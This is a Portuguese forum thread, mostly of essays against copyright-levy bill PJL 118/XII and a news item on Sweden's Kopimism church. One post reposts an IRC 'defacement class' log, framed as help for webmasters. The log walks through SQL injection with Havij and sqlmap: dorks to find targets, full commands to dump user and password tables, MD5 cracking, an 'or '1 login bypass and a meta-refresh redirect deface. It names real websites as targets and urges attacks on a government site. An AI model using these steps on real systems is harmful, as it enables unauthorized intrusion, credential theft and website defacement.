Este Projecto de Lei alega “reforçar o legítimo interesse dos diversos titulares de direitos”. No entanto, declara que “A compensação equitativa de autores, e de artistas, intérpretes ou executantes, é inalienável e irrenunciável”. Mas eu, enquanto autor deste texto, não quero cobrar nada pelo seu armazenamento. Não quero taxas pelas fotografias que tiro nas férias ou por guardar os filmes dos meus filhos. Não quero que a Associação para a Gestão da Cópia Privada cobre a quem armazene os textos que publico no meu blog, o software que escrevo ou o material de apoio às minhas aulas, que preparo e que disponibilizo aos meus alunos. Sinto que, ao contrário de reforçar os meus legítimos interesses enquanto autor, este Projecto de Lei está a violá-los em benefício de associações de cobrança com as quais nem tenho nem quero ter qualquer relação.

A crise que vivemos não é só económica. É também política, com os eleitores suspeitando cada vez mais que as leis são feitas segundo interesses de grupos bem posicionados e em detrimento dos cidadãos. O Projecto de Lei 118/XII do Partido Socialista é um exemplo claro deste problema. Ignora que esta tecnologia nos torna todos autores, em cada opinião que escrevemos, em cada comentário que fazemos, em cada fotografia que tiramos. E atropela direitos de todos nós só para fazer o jeito às organizações que o elaboraram. Não peço que votem contra este Projecto de Lei apenas pela taxa que me tentarão cobrar se o aprovarem, até porque, no máximo, só pagarei a mais a diferença nos portes de correio por comprar o equipamento a outro país. Preocupa-me o efeito que esta lei terá na nossa economia, mas nem sequer é a crise económica o que mais me motiva a escrever-vos. Pior ainda é a crise política. Por isso, peço que votem contra este Projecto de Lei, principalmente, para mostrar que as leis ainda são feitas no interesse de todos e não apenas para favorecer alguns.

Com os meus melhores cumprimentos,
Ludwig

http://ktreta.blogspot.com/
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 11 jan 2012, 20:39

Há uma nova religião na Suécia



“Agradecemos-te, Senhor, por este ficheiro que vamos sacar.” A partir de hoje, todos os que crêem na cópia e na partilha livre de músicas, filmes ou qualquer outro tipo de ficheiro digital, podem comungar na Igreja do Kopimism, uma congregação oficialmente reconhecida como religião pelas autoridades da Suécia.




O termo “kopimism” (de “kopimi” – lê-se “copy me”) é de difícil tradução para o português, mas o principal mandamento desta nova igreja é fácil de compreender pelos falantes de qualquer língua: copiarás e partilharás livremente todos os ficheiros que te aparecerem pela frente.

O fundador da Igreja do Kopimism é um jovem sueco de 19 anos, estudante de Filosofia. Chama-se Isak Gerson e está hoje muito activo no Twitter, a responder a solicitações e a agradecer os parabéns pelo reconhecimento da sua crença como religião oficial. Entre as respostas aos “tweets”, ainda tem de arranjar tempo para manter online o site oficial da sua congregação. Devido ao excesso de visitas, Isak Gerson viu-se obrigado a deixar uma mensagem no Twitter a todos os interessados: “Os nossos servidores estão a ser reiniciados de cinco em cinco minutos. Se o site estiver em baixo, esperem uns minutos e tentem novamente!”

Ao final da manhã, a página de entrada do site explicava a causa dos problemas técnicos: “Bem-vindos ao site da Igreja do Kopimism! Estamos em baixo devido a excesso de tráfego e, por isso, estamos temporariamente a mostrar uma página Web estática. Se estão interessados em tornarem-se membros, voltem a este endereço nos próximos dias, depois de a tempestade acalmar”.

Desde 2010 que os membros do Kopimism tentavam ver a sua igreja reconhecida oficialmente, mas os dois primeiros pedidos foram negados, em Março e em Julho de 2011.

"A informação é sagrada e o acto de copiar é um sacramento"

A missão dos membros da Igreja do Kopimism não podia ser mais simples, como se pode ler num comunicado publicado no site oficial: “Para a Igreja do Kopimism, a informação é sagrada e o acto de copiar é um sacramento. A informação possui um valor em si mesma e naquilo que ela contém e esse valor é multiplicado através da cópia. Assim, o acto de copiar é central para a organização e para os seus membros”.

Outra das cruzadas desta nova religião é a luta contra os direitos de autor: “Ser proprietário de software (manter o código-fonte escondido das outras pessoas) é comparável à escravatura e deve ser proibido".

Citado pelo site Torrentfreak, o fundador Isak Gerson queixou-se do “estigma legal” à volta do acto de copiar e partilhar ficheiros, mas fez votos para que a sua igreja ajude a mudar a situação actual. “Muitas pessoas ainda têm receio de ir para a cadeia quando estão a fazer cópias ou remisturas. Espero, em nome do Kopimi, que isto se altere.”

Para ser reconhecida oficialmente como religião pela comissão nacional sueca Kammarkollegiet, a Igreja do Kopimism teve de detalhar o seu sistema de preces ou meditações. Os responsáveis explicaram que o principal ritual da igreja é “o acto de copiar e estabelecer uma ligação entre os seus membros através da partilha de informação”.

A Igreja do Kopimism passou de 1000 para 3000 membros (ou “kopimists”) no segundo semestre de 2011, mas o reconhecimento oficial por parte das autoridades suecas deverá impulsionar ainda mais o crescimento desta comunidade. Para se ser membro da Igreja do Kopimism não é preciso preencher formulários; "basta sentir um chamamento para adorar o mais sagrado de tudo o que é sagrado – a informação e a cópia".

http://www.publico.pt/Tecnologia/ha-uma-nova-religiao-na-suecia-e-os-direitos-de-autor-nao-vao-gostar-1527736

http://en.wikipedia.org/wiki/Missionary ... f_Kopimism

https://www.facebook.com/pages/Kopimism ... 53?sk=wall
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 30 jan 2012, 13:37

Depois dos ataques a sites da P.S.P. eis uma aula no IRC onde alguns ensinavam "defacements"

(espero que isto ajude os webmasters a defenderem-se)
adicionando as seguintes linhas ao ficheiro .htaccess:

SetEnvIf user-agent "sqlmap" stayout=1
SetEnvIf user-agent "Havij" stayout=1

<v3nd3tt4> primeiro todos TEM HAVIJ??? esta aula vai ser introducao de deface e como ja sei que todos tem windows , nao vale a pena dar pra linux... Doutor LOL?! :D
<thegoo> v3n, temos que dar para linux tambem :o
<Fr34kStyl3> sim...
<v3nd3tt4> mais alem
<c0d3r3d> convem ven
<sslunsec> eu tenho o backtrack
<HighTech> HAVIJ suponho que poucos tenham....
<v3nd3tt4> SAQUEM O HAVIJ
<HighTech> convem dares os pormenores todos
<HighTech> fornece o link
<HighTech> etc
<tartaruga_genial> +m pls
<v3nd3tt4> http://itsecteam.com/en/projects/project1_page2.htm
<Fr34kStyl3> tenho aqui o havij no windows wine do linux

havij download http://itsecteam.com/en/projects/project1_page2.htm

* thegoo sets mode +m #LuzLeaksPT
<thegoo> pessoal, vamos esperar que acabem de sacar o havij
<v3nd3tt4> 3 MIN PRA SACAREM
<v3nd3tt4> 2MIN
<v3nd3tt4> 1MIN
<thegoo> btw, convem que tenham a vpn / proxy ligados. para users de linux falaremos noutra parte da aula usando o sqlmap por isso podem ir ja sacando
<v3nd3tt4> 0MIN
* thegoo sets mode -m #LuzLeaksPT
<thegoo> alguem ainda nao tem o havij?
<v3nd3tt4> entao agora que ja tenham instalado o havij
<Midnight> eu
<Midnight> ta a acabar de instalar
<v3nd3tt4> abram
<Midnight> mas podes ir falando
<c4melu> eu tou a instalar virtualbox! instalei nesta maquina mas nao posso usar! vao explicando que vou vendo sff
<thegoo> ok.
* thegoo sets mode +m #LuzLeaksPT
<v3nd3tt4> agora que ja abriram aparece: Target:
<v3nd3tt4> aí ponham o vosso LINK
<v3nd3tt4> mas é de sql injection logo
<HighTech> v3n, da exemplos
<v3nd3tt4> tem de ser dete tipo: http://exemplo.com/noticia.php?id=qualquercoisa
<v3nd3tt4> agora que puseram
<v3nd3tt4> nao facam mais nada so cliquem
<v3nd3tt4> em
<v3nd3tt4> Analyze
<thegoo> vou procurar links
<v3nd3tt4> se o site for vulneravel a Sql Injection
<thegoo> http://www.origens.pt/explorar/doc.php?id=593
<v3nd3tt4> vai aparecer as DBs (databases)... vou vos dar um site vul
<v3nd3tt4> http://www.autogp.org/en/news.php?id=0532 SITE VUL
<v3nd3tt4> metam esse site
<v3nd3tt4> e cliquem analyze
<v3nd3tt4> DEPPOIS DE ACABAR DE ANALISAR O SITE, CLIQUEM EM TABLES E DEPOIS CLIQUEM EM GET TABLES
<thegoo> btw, duvidas enviem me pm
<v3nd3tt4> depois de aparecer as tables (se conseguir o site que puseram)
<v3nd3tt4> cliqeum na table qeu VOS INTERESSA
<thegoo> v3n, com calma. primeiro e preciso cada um encontrar um site para hackar. para encontrarem sites procurem assim no google : 'inurl:”php?id=” pt”
<v3nd3tt4> e cliquem em get columns
<thegoo> subsituam pt pelo que quiserem
<HighTech> ta 5min para eles respirarem
<HighTech> lol
<v3nd3tt4> LOOOOOOOOL
<v3nd3tt4> agora que ja tem as columns do que vos interessa
<v3nd3tt4> agora que ja tem as columns do que vos interessa
<v3nd3tt4> aparece exemplo: User, Password ... clicam nesses (como sempre no que vos interessa) e ponhem GET DATA
<v3nd3tt4> agora deuvos os users e pass... muitas vezes estao em MD5 para desencriptar vao a md5decrypter.co.uk
<v3nd3tt4> agora tem de sacar o programa: admin page finder (como todos usam windows acho) vou dar vos o download ja
<thegoo> v3n, deixa ver se alguem tem duvidas ate agora, estas a avancar demasiado rapido.
<thegoo> vou tirar o mute um min para ver as duvidas.
<v3nd3tt4> lol oki
* thegoo sets mode -m #LuzLeaksPT
<thegoo> ESCREVAM AS DUVIDAS NUMA LINHA UNICA
<c4melu> esses user e pass sao o que exactamente?
<vibrio> omfg
<PaTolas> LOL
* v3nd3tt4 has changed the topic to: tema, introducao ao deface. se falarem demasiado ponho mute no canal | havij download http://itsecteam.com/en/projects/project1_page2.htm adminfinder http://www.plunder.com/Admin-Page-Finde ... 356cbf.htm
<thegoo> como nao ha duvidias, vamos continuar
* thegoo sets mode +m #LuzLeaksPT
<v3nd3tt4> ja vos dei o link do admin page finder EM CIMA NO TOPICO
<v3nd3tt4> agora vamos imginar que tem a PAGE DE ADMIN, O USER DE ADMIN E PASS, VAMOS LA ENTRAR NO (SUPOSTO) SITE, VOU VOS DAR UM
<v3nd3tt4> SITE http://www.isave.pt/admin/ METAM NO USER E PASS ISTO: 'or '1
<v3nd3tt4> mas imaginem que usaram com as pass e users verdadeiros
<HighTech> v3n, o link que deste do admin finder está indisponivel
<v3nd3tt4> agora que ja entrraram vao fazer um "deface" por redirect, isto é, voces vao entrar no site "hackeado" e vai vos redireccionar pra a pagina quemq uqerem
<v3nd3tt4> ta?? eu entro lol
<HighTech> nao da para fazer download
<HighTech> acabei de testar
<HighTech> arranja link alternativo
<v3nd3tt4> eu sei, mas redirect da
<v3nd3tt4> antes dava
<poow> Too many downloads from this IP (xx.xx.xxx.xxx), Login or Register to continue downloading.
<poow> foi o que apareceu
<v3nd3tt4> vou ver PEREM AI
<HighTech> Download
<HighTech> Admin Page Finder.zip (0.00 mb)
<v3nd3tt4> VAMOS MUDAR PRA OUTRO SITE
<v3nd3tt4> http://www.cdsppmadeira.com/admin/ PODEM FAZER NESTE MAS ESTE TEM DE TER VPN!!!!!!!
<v3nd3tt4> pronto continuando
<v3nd3tt4> arranjem um site, em que entraram no login e isso tudo agora vao por exemplo as noticias
<v3nd3tt4> e ponham escreve nova
<HighTech> Admin Page Finder.zip (0.00 mb) ?
<HighTech> falta o link para isto
<v3nd3tt4> depois ponham assim titulo <meta http-equiv= e na descricao ou no resto da noticia toda ponham <meta http-equiv="refresh" content="0;url=http://exemplo.pt/">
<v3nd3tt4> high deixa la lol
<v3nd3tt4> agora gravem e pronto esta ai o vosso "deface"
<v3nd3tt4> UM "DEFACE" ASSIM ESTE AQUI http://www.jf-sjcampo.com/ :::::::::::::::::::::NAO FACAM DEFACE POR CIMA DUM DEFACE NUNCA::::::::::::::::::::..
<poow> (ja agora porque?)
<v3nd3tt4> poorque oque??
<thegoo> a regra do ladrao que rouba ladrao nao se aplica nos hackers. :p há etica entre nós.
<poow> deface em cima de deface
<poow> haa ok mas podia haver outra razao ;D assim claro comprendese
<v3nd3tt4> deface em cima de deface é tu fazeres deface e eu chegar la "Fuck You poow agora sou eu que faco deface muahahha"
<poow> xD ya
<HighTech> poow, é a mesma coisa que fazeres um graffiti em cima de outro graffiti de uma amigo teu
<HighTech> é má onda
<HighTech> ;)
<v3nd3tt4> yap
<poow> yap ja apanhei a mensagem ;D
<v3nd3tt4> PRONTO SEGUINDO, VAMOS FAZER AGORA DEFACE POR SHELL


--------------------------------------------------------------------

<v3nd3tt4> ENTRARAM NO SITE NO LOGIN E ISSO, AGORA VAO A UM SITIO ONDE DE PRA FAZER UPLOAD, OU SE NAO TIVER TENTEM POR NA IMAGEM... SE NAO DER PENSEM EM REDIRECT... OH PAH DESCULPEM LA NAO TERMOS UM SITE DE EXPERIMENTACAO MAS NOS NAO GANHAMOS DINHEIRO AO DAR AS AULAS LOG NAO PUDEOMOS ANDAR A GASTAR DINHEIRO PRA DARVOS AULAS
* thegoo sets mode -m #LuzLeaksPT
<thegoo> duvidas tirem nas agora.
<c4melu> [23:18:11] <&v3nd3tt4> PRONTO SEGUINDO, VAMOS FAZER AGORA DEFACE POR SHELL
* v3nd3tt4 has changed the topic to: tema, introducao ao deface. se falarem demasiado ponho mute no canal | havij download http://itsecteam.com/en/projects/project1_page2.htm adminfinder http://www.filecrop.com/admin-finder.html
<c4melu> que deface era o outro?
<Fr34kStyl3> links para shell's :D
<Xanax> chueguei a meio!
<HighTech> Xanax, no final serao postados os tutorials completos
<HighTech> para quem faltou ou chegou a meio
<Xanax> obrigado ^^
<Fr34kStyl3> eu n estou a fazer isso agora, mas ate aqui ja sabia, agora sobre shell's é q tenho umas duvidas ..
<thegoo> ninguem tem duvidas?
<thegoo> vou dar vos um link para testarem conhecimentos.
<thegoo> http://www.evwind.es/noticias.php?id=1
<thegoo> TESTAREM, nao facam deface ao pobre site so porque sim, etica do white hacker.
<HighTech> sim, extremamente importante... nao façam defaces sem terem razoes fortes para tal.
<HighTech> isto nao é brincadeira
<poow> e é fudido para o admin do site meter tudo de volta ao normal?
<thegoo> mais o menos
<Xanax> pode ter backup
<tartaruga_genial> primeira visita de estudo
<poow> é que convem mostrar o outro lado da moeda é que fazemos com que os donos do site gastem dinheiro e tempo
<FL-PAIN> quando e que vamos dar o deface por shell!?
<poow> (só para reforçar a ideia de ter boas razoes para fazer um deface )
<c4melu> http://www.evwind.es/noticias.php?id=1 ainda ta normal
<c4melu> xD
<thegoo> nao e para atacar o http://www.evwind.es/noticias.php?id=1
<thegoo> e para testar
<tartaruga_genial> e so para testar
<c4melu> eu n faço nada
<c4melu> n tenh vpn ainda
<c4melu> xD
<thegoo> podem tentar sql i, mas se conseguirem nao mudem nada que o site nada fez de mal
<FL-PAIN> i mesmo para testar so quem tem a versao comericial é que vai consseguir !
<c4melu> versao comercial do que?
<poow> havij
<tartaruga_genial> o site e tao feio que quase merecia
<BotStop> lol
<HighTech> nao sejas mau
<FL-PAIN> entao ataque ddos!?
<thegoo> os anonymous nao sao crackers, sao hackers. crackers destroem so porque sim, hackers apenas percebem de seguranca informatica.
<HighTech> hackers tem etica, crackers nao
* thegoo sets mode +m #LuzLeaksPT
<thegoo> vou agora falar de linux
<thegoo> sql injection em linux
<thegoo> a ferramenta a usar e o sqlmap
<thegoo> tem todos o sqlmap?
* thegoo sets mode -m #LuzLeaksPT
<Xanax> é preciso linux?
<Xanax> =P
<thegoo> para quem nao tem e so "sudo apt-get install sqlmap"
<ppp> lol
<thegoo> par esta parte sim
<thegoo> ate agora foi so para windows
<Xanax> shit xD dá pa emular pelo vmware?
<thegoo> sim, mas se percebes te a parte de win nao precisas disto.
<Xanax> kk ^^
<thegoo> vou so dar um resumo rapido, quem nao perceber depois tira aqui duvidas.
<thegoo> para encontrar links no google
<thegoo> procurem assim
<thegoo> 'inurl:”php?id=” tema que querem”
<thegoo> depois de encontrarem um link escrevam um ' a frnete do link, se der erro escrevam isto no terminal sqlmap -u http://www.exemplo.com/php?id=1337 –dbs
<thegoo> usem as bases de dados com estes comandos
<thegoo> Sqlmap -u http://www.exemplo.com/php?id=1337 -D db_sql –tables
<thegoo> isto da vos as tabelas de cada base de dados
<thegoo> procurem por norma uma tabela com o nome users
<thegoo> de la corram isto
<thegoo> Sqlmap -u http://www.exemplo.com/php?id=1337 -D db_sql -T users –columns
<PATRAOjhN> mais facil
<PATRAOjhN> usar
<PATRAOjhN> ou fazer
<PATRAOjhN> app
<PATRAOjhN> para procurar dork
<PATRAOjhN> testar
<PATRAOjhN> e injectar
<PATRAOjhN> easy
<v3nd3tt4> http://www.ceger.gov.pt/ ataquem
<thegoo> depois de escolherem a linha
<thegoo> este e o comando Sqlmap -u http://www.exemplo.com/php?id=1337 -D db_sql -T users -C username,password –dump
<thegoo> depois tem a hash, usem o link de md5 decrypther que o v3n deu, e o resto do processo e o mesmo
<thegoo> para o find admin, procurem no google, findadmin.pl download.
<PATRAOjhN> omg
<PATRAOjhN> xD
<thegoo> corram sudo perl FindAdmin.pl no terminal na pasta do pl
<thegoo> e metam o site
<thegoo> simples. :p
* calatalee (Mibbit@anon-58041DF.netvisao.pt) has joined #LuzLeaksPT
<thegoo> peco desculpa isto ter sido a pressa, mas hoje tenho muito pouco tempo, vou escrever um tutorial para vos dar depois e por no link
* thegoo sets mode -m #LuzLeaksPT
<poow> (posso falar?)
<thegoo> claro
<poow> quem quiser meter o havij 1.15 PRO eu dou links
<thegoo> btw, a aula ja acabou por hoje, estamos aqui para duvidas.


Fonte:http://pastebin.com/5unTWCna

IRC SERVERS:

irc.anonet.org
irc2.yukieri.com
smeg.anonnet.org

Canais

#PTSec, #lulsleakspt, #AnonPT, #AntiSecPT
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 01 fev 2012, 17:05

O pirata, o autor e a carraça (ou a taxa do tacho).


Muitos proponentes do Projecto de Lei 118/XII defendem a taxa sobre equipamento informático como uma medida anti-pirataria. Muitos oponentes apontam que a cópia privada não tem nada que ver com a pirataria. Se bem que os primeiros estejam a aldrabar, os últimos não estão completamente certos. No tempo da cassete e da fotocópia era fácil distinguir cópia privada e pirataria. À permissão legal da «reprodução em qualquer meio realizada por pessoa singular para uso privado e sem fins comerciais directos ou indirectos» bastava a ressalva de não «atingir a exploração normal da obra, nem causar prejuízo injustificado dos interesses legítimos do autor» (CDADC, Artº 75) para ficar claro o que se podia ou não podia fazer.

No domínio digital criou-se, em parte propositadamente, uma enorme confusão e ambiguidade acerca disto. A propaganda das editoras diz que o download é ilegal, mas a IGAC admite que o juiz é que tem de decidir, com base no tal «prejuízo injustificado» (1). Há quem diga que o acesso à obra tem de ser lícito – também a IGAC começou por aí, quando perguntei sobre isto, mas não me souberam indicar onde estava essa exigência no CDADC – mas, na prática, isto não ajuda. Por exemplo, um escritor inglês cede os direitos exclusivos de distribuição no Reino Unido e EUA a duas editoras, alguém põe o pdf do livro num servidor ucraniano e um português copia esse ficheiro para o seu computador. Não é nada claro como é que um tribunal português decide se o acesso é legítimo, à luz da legislação nacional, ou sequer se tem autoridade legal para decidir tal coisa. E ninguém consegue perceber até onde vão os seus direitos de cópia privada sem ir a julgamento.

O PJL-118/XII não faz nada para resolver isto. Não ajuda a distinguir cópia privada de pirataria nem combate esta última. Pelo contrário. Sendo o tal «prejuízo injustificado» o critério explicitamente enunciado no CDADC, pagar 20€ de taxa pelo disco rígido onde se guarda os downloads vai esbater ainda mais a diferença entre a cópia privada e aquilo a que chamam pirataria. A ideia de que o PJL-118/XII adapta a lei à realidade digital e combate a pirataria é simplesmente absurda.

Também para o autor há uma grande diferença entre a taxa que já temos, em CD, cassetes e fotocópias, e a taxa proposta sobre o armazenamento digital. A anterior era injusta para os autores – de software livre, por exemplo – que distribuíam as suas obras fora do sistema comercial e industrial de cópia. Mas, pelo menos, a taxa distinguia entre os meios de distribuição da maioria das obras, como os CD, cassetes, discos e DVD de fábrica, e os mais usados para cópias não autorizadas, como os CD graváveis, cassetes virgens e fotocópias. Se aprovarem o PJL-118/XII essa distinção desaparece. Vão taxar pela cópia privada o mesmo disco ou cartão de memória onde se guarda o ficheiro comprado, ou o leitor onde se ouve a música licenciada. Esta taxa não vai prejudicar apenas uma minoria de autores mas sim todos os autores, porque penaliza toda a distribuição digital. O que, mais ano menos ano, será toda a distribuição. E com a agravante dos valores cobrados serem muito maiores.

Só beneficia com isto quem vive com a cabeça espetada entre os autores e o público. As sociedades de colecta, a SPA e as maiores editoras, por exemplo, cujo negócio é cobrar pelo acesso. Dizem que a pirataria é uma desgraça para o artista, a quem querem “proteger”, mas isso é treta. A pirataria comercial foi a primeira vítima da partilha gratuita – já há anos que não vejo CD e DVD pirata à venda às portas do Metro – e a partilha para uso pessoal não tira dinheiro aos rendimentos dos artistas. Pelo contrário. Ao facilitar a distribuição, permite que o artista seja financiado directamente pelo seu público, a quem até pode cobrar antecipadamente o que julgar mais justo pelo seu trabalho (2). É isto que a taxa pretende combater. Se o artista pode trabalhar directamente para os seus fãs acaba-se a mama da “gestão de direitos”. Só com uma taxa sobre toda esta tecnologia é que associações de cobrança e vendedores de rodelas de plástico poderão ganhar dinheiro.

1- Ilegais? Porquê? – (in)conclusão
http://ktreta.blogspot.com/2009/05/ileg ... lusao.html.
2- E.g. Kickstarter

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 07 fev 2012, 19:45

Terça-feira, Fevereiro 07, 2012

«A Internet deve ser limitada?»



O “Sociedade Civil” de ontem foi sobre «como se pode proteger os direitos de autoria num espaço livre de informação»(1). Uma questão central foi como conjugar, de forma justa e equilibrada, os direitos dos autores com os direitos dos utilizadores. O António Serra, da SPA, chegou até a dizer que se justificava violar direitos de privacidade e afins porque também se pode fazer o mesmo no caso do terrorismo. Foi um exemplo extremo, e disparatado, mas que ilustra um erro fundamental nesta discussão. Um erro que penso que todos os intervenientes cometeram. Foi esquecer que os direitos dos autores não estão todos ao mesmo nível.

Enquanto autor deste texto, eu tenho o direito de não me atribuírem versões deturpadas daquilo que eu escrevi. Se alguém me citar ou parafrasear o que eu escrevo deve fazê-lo preservando o sentido original. Este direito é tão fundamental como a minha liberdade de expressão porque, no fundo, está-lhe directamente relacionado. Deturpar as minhas palavras é privar-me do direito de me exprimir com elas.

Enquanto autor deste texto, tenho também o direito legal de proibir que o declamem em público sem pagar uma licença de actuação. Podem ler em casa, para a família, mas não num local público. Este “direito” não tem nada que ver com o outro. É uma mera concessão de um monopólio com valor comercial para ajudar os autores a fazer negócio com o que escrevem. Não há qualquer fundamento ético para distinguir entre ler em voz alta em casa ou na rua. Quando se discute direitos de autor é preciso distinguir entre direitos de verdade e estes “direitos” que são meros privilégios legais com fins comerciais.

Um exemplo histórico de um debate análogo, se bem que mais extremo, foi o da escravatura e abolicionismo nos EUA. Os defensores da escravatura «argumentaram que o fim abrupto da economia de escravos iria ter um impacto profundo e devastador no Sul, onde a mão de obra escrava estava na base da economia. A economia do algodão iria colapsar. O tabaco secaria nos campos. O arroz deixaria de ser rentável.»(2) Se tivessem feito um “Sociedade Civil” nessa altura, haveria provavelmente no painel um esforço de balançar os direitos dos escravos e os direitos dos seus donos, que, afinal, tinham investido muito dinheiro na compra dos escravos e estavam economicamente dependentes daquele sistema. O que é óbvio para nós, que o direito à liberdade está tão acima do direito ao negócio que nem faz sentido procurar um equilíbrio, não era nada evidente para aquelas pessoas, naquela altura. Especialmente para quem tinha escravos.

Hoje temos o mesmo problema com a Internet. Economicamente, a liberdade de partilha de informação na Internet tem um impacto negativo no negócio de alguns intermediários mas, ao que tudo indica, os autores com talento podem aproveitar esta infraestrutura para ganhar ainda mais dinheiro do que quando estavam dependentes dos fabricantes de cópias. Mas isso é uma questão factual secundária. O ponto fundamental é que mesmo que o negócio dos autores fosse por água abaixo, mesmo que a liberdade de comunicação os forçasse a arranjar outros empregos ou negócios, e mesmo que a criação profissional desaparecesse e todas as obras passassem a ser feitas por gosto em vez de por dinheiro, mesmo assim não se justificaria limitar a liberdade de expressão, direitos de privacidade e afins só para proteger este negócio.

Isto já é consensual nos meios de comunicação pessoal mais antigos. Pode-se violar “direitos de autor” por telefone ou por carta, mas dificilmente uma democracia legalizaria a violação de correspondência ou escutas telefónicas só para os detentores de monopólios garantirem que ninguém envia fotocópias de poemas ou ouve música por telefone. Por muito prejuízo que isso causasse, todos sabemos que há valores mais importantes do que o valor do negócio.

Infelizmente, a Internet ainda é uma coisa nova. Muitos não a compreendem; há uns tempos, a minha avó recomendou-me que não deixasse os miúdos ir à Internet à noite, por causa das coisas que lá dão a essas horas. Outros deturpam deliberadamente o que se passa. Chamam à partilha de informação “descarregar” ou “consumir”, que é como dizer que numa chamada telefónica descarregamos a conversa consumindo a voz de quem nos telefonou. E chamam “propriedade intelectual” a um conjunto de monopólios ad hoc e tão diferentes como marcas registadas, patentes ou o direito exclusivo de autorizar que se empreste livros*.

A Internet é uma infraestrutura de comunicação. Permite transmitir números que codificam mensagens e podem representar o que quisermos. Por isso, dá chatice a muitos negócios. Msa o que troca na Internet é informação, nada mais. O que está em causa são direitos como liberdade de expressão, privacidade, acesso à informação e o direito de transformar ideias e cultura, que são direitos do autor e são direitos de todos. E são muito mais importantes do que qualquer negócio. O choradinho pela perda dos monopólios merece tanta pena como o choradinho dos donos das plantações de algodão. Porque, no fundo, o problema é o mesmo: não há negócio que compense o sacrifício dos nossos direitos mais fundamentais.

* Aprendi recentemente que o comodato é um dos direitos exclusivos que a lei atribui ao autor. Ou seja, sem autorização do autor é ilegal emprestar um livro. No artº 68º do CDADC: «Assiste ao autor, entre outros, o direito exclusivo de fazer ou autorizar, por si ou pelos seus representantes:[...] Qualquer forma de distribuição do original ou de cópias da obra, tal como venda, aluguer ou comodato;». Aproveito para agradecer a informação, que me surpreendeu porque estava convencido de que já não poderia ficar mais enojado com esta legislação, e para vos avisar que, para ser pirata, basta emprestar ou pedir emprestado alguma cópia de obra protegida. Antes de ter Internet eu já era um piratão de primeira...

1- Sociedade Civil, A Internet deve ser limitada?
2- US History, The Southern Argument for Slavery

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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 10 fev 2012, 17:58

PJL 118-XII, parte 1:
o prejuízo da cópia.


Ontem acompanhei o Rui Seabra, presidente da ANSOL (1), à audição com o grupo de trabalho que está a analisar o Projecto de Lei 118-XII, sobre o regime jurídico da cópia privada (2). Como associado da ANSOL, nestas semanas tenho ajudado a estruturar a nossa oposição a este projecto de lei. As reuniões com os representantes dos grupos parlamentares do BE, PEV e PCP ajudaram-me bastante a perceber os vários problemas que os deputados têm de resolver e a encontrar pontos de concordância onde pudéssemos assentar os nossos argumentos. Mas isso deixo para outros posts. Neste vou saltar já para um comentário do Michael Seufert (CDS), na audição de ontem, que não abordámos lá por ser uma questão complexa e por precisarmos do tempo para responder à pergunta da Ana Sofia Bettencourt (PSD), que também deixarei para outro post. Como não discuti isto em detalhe na ANSOL nem pude ir à reunião com o CDS, não sei se o que se segue será a posição da ANSOL. Mas é a minha.

O Michael Seufert apontou que a directiva europeia obriga a uma compensação equitativa pela cópia privada e que isso exige que se estime o prejuízo que a cópia causa e, daí, a compensação devida. O problema é estimar esse prejuízo e compensação. Para mim, há outros problemas mais fundamentais. Um é justificar o dever de compensação. É como dizer que tenho de compensar os cozinheiros dos restaurantes pelo prejuízo de cozinhar em casa, ou os agricultores por ter uma horta*. Outro é justificar a ingerência do Estado num acto como a cópia privada de informação publicada. Mas isto será para discutir a nível da UE, questionando a tal “propriedade intelectual” – se faz sentido, por exemplo, que o autor de músicas tenha mais direitos do que o autor de receitas, teoremas ou jogadas de Xadrez – e o problema da fronteira entre os poderes legítimos do Estado e as liberdades de cada um. Por enquanto, temos de seguir a directiva.

O Eduardo Simões, presidente da Associação Fonográfica Portuguesa, ouvido depois de nós, disse que não valia a pena estimar o valor do prejuízo porque, parafraseando, a taxa cobrada por um CD que vale 15€ é um valor simbólico de alguns cêntimos, muito abaixo do valor da obra copiada. Isto está errado, e não só porque o tal “valor simbólico” é de uns vinte euros num disco rígido. Se eu comprar um CD por 15€ é porque o valor do CD, para mim, é superior ao dos 15€. Senão, não pagava. Mas, depois de ter esse CD, é evidente que uma cópia já não valerá, para mim, 15€. Valerá muito perto de 0€, porque será cópia de algo que já tenho. O valor da cópia não é o preço do original. Além disso, o que a directiva europeia obriga a compensar é o prejuízo para o autor, e não o preço de venda. Nem o argumento de que a cópia prejudica por uma venda perdida faz sentido porque estas contas implicam que a mesma cópia, nas mesmas condições, prejudique mais quanto mais se aumenta o preço da venda autorizada. Infelizmente, este disparate fundamenta os muitos relatórios de enormes “perdas” da indústria (3).

O cálculo do prejuízo não pode depender nem do preço, arbitrário, ao qual os distribuidores vendem as cópias a que chamam “originais”, nem de hipotéticas vendas perdidas. O prejuízo económico causado ao autor pela cópia tem de ser calculado pelo dinheiro que quem copia realmente gasta na cópia. É este o único indicador realista do prejuízo, e é por isso que a taxa de compensação pela cópia privada em cassetes e CD virgens é uma percentagem do preço de venda desses suportes. Porque se alguém paga um euro por uma cassete virgem e copia para lá um disco, sabemos que pagou um euro para fazer essa cópia. Independentemente do disco custar cinco ou cinquenta euros, ou da pessoa hipoteticamente poder comprar vinte ou duzentos discos, o que deve ao autor é a fracção desse euro que o autor teria direito a receber.

Assim, o que temos de contabilizar é quanto as pessoas estão a gastar em suportes digitais especificamente para fazer cópia privada. E é fácil ver que esse valor será muito pequeno. Ao contrário das cassetes virgens, um disco rígido serve para muito mais do que a cópia privada prevista pela lei, e mesmo quem tenha uma centena de CDs, se comprimir em mp3 mete tudo em meio porcento de um disco moderno. Além disso, o que se permite legalmente ao abrigo da cópia privada é muito pouco e cada vez menos, conforme os distribuidores mudam da venda de objectos físicos para o licenciamento de ficheiros. Se aplicarmos ao valor resultante os tais 3% que se aplica à cassete, para descontar os custos de produção do harware e calcular o excedente devido ao autor das obras copiadas, o resultado será tão próximo do zero que nem vale a pena considerá-lo.

Outro ponto importante é que este dever de compensar vem do prejuízo que o Estado causa aos autores por permitir a cópia privada, o que obriga a considerar outro factor. As editoras queixam-se da quebra de vendas de CD mas, cada vez mais, a compra destes suportes depende da possibilidade de copiar o que lá vem para suportes mais convenientes. Se o Estado português conseguisse impedir a cópia privada de forma eficaz – impossível na prática, mas consideremos a hipótese – o resultado seria uma quebra ainda maior nestas vendas. Se um CD já tem defeitos em relação a suportes mais modernos, um CD que não se possa copiar só serve mesmo para pousar a caneca.

